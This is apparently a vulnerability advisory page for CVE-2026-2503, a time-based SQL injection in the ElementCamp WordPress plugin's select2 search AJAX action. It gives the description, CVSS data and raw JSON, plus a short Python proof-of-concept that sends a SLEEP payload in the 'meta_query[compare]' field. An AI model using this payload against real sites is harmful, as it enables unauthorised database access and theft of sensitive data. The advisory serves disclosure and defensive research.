Security Vulnerability Report
中文
CVE-2026-2503 CVSS 6.5 MEDIUM

CVE-2026-2503

Published: 2026-03-21 04:17:09
Last Modified: 2026-04-24 16:27:44

Description

The ElementCamp plugin for WordPress is vulnerable to time-based SQL Injection via the 'meta_query[compare]' parameter in the 'tcg_select2_search_post' AJAX action in all versions up to, and including, 2.3.6. This is due to the user-supplied compare value being placed as an SQL operator in the query without validation against an allowlist of comparison operators. The value is passed through esc_sql(), but since the payload operates as an operator (not inside quotes), esc_sql() has no effect on payloads that don't contain quote characters. This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress ElementCamp Plugin <= 2.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-2503 import requests target_url = "http://target-wordpress.com/wp-admin/admin-ajax.php" # Attacker needs valid session cookie (Author level or higher) cookies = { "wordpress_logged_in_xxx": "..." } # Payload for time-based blind SQL injection using SLEEP payload = "= (SELECT SLEEP(5))" data = { "action": "tcg_select2_search_post", "meta_query[compare]": payload } response = requests.post(target_url, data=data, cookies=cookies) # If response takes > 5 seconds, vulnerability is confirmed print(f"Response status: {response.status_code}") print(f"Response time: {response.elapsed.total_seconds()} seconds")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2503", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:09.407", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ElementCamp plugin for WordPress is vulnerable to time-based SQL Injection via the 'meta_query[compare]' parameter in the 'tcg_select2_search_post' AJAX action in all versions up to, and including, 2.3.6. This is due to the user-supplied compare value being placed as an SQL operator in the query without validation against an allowlist of comparison operators. The value is passed through esc_sql(), but since the payload operates as an operator (not inside quotes), esc_sql() has no effect on payloads that don't contain quote characters. This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin ElementCamp para WordPress es vulnerable a inyección SQL basada en tiempo a través del parámetro 'meta_query[compare]' en la acción AJAX 'tcg_select2_search_post' en todas las versiones hasta la 2.3.6, inclusive. Esto se debe a que el valor de comparación proporcionado por el usuario se coloca como un operador SQL en la consulta sin validación contra una lista de permitidos de operadores de comparación. El valor se pasa a través de esc_sql(), pero dado que la carga útil opera como un operador (no dentro de comillas simples), esc_sql() no tiene efecto en cargas útiles que no contienen caracteres de comillas simples. Esto hace posible que atacantes autenticados, con acceso de nivel de Autor y superior, añadan consultas SQL adicionales a consultas ya existentes que pueden usarse para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/element-camp/tags/2.3.6/elementor/extender/tcg-select2.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/element-camp/tags/2.3.6/elementor/extender/tcg-select2.php#L83", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/element-camp/trunk/elementor/extender/tcg-select2.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/element-camp/trunk/elementor/extender/tcg-select2.php#L83", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cfb09dcd-f8ec-4b0a-ae77-4b4b7b54c93b?source=cve", "source": "[email protected]"}]}}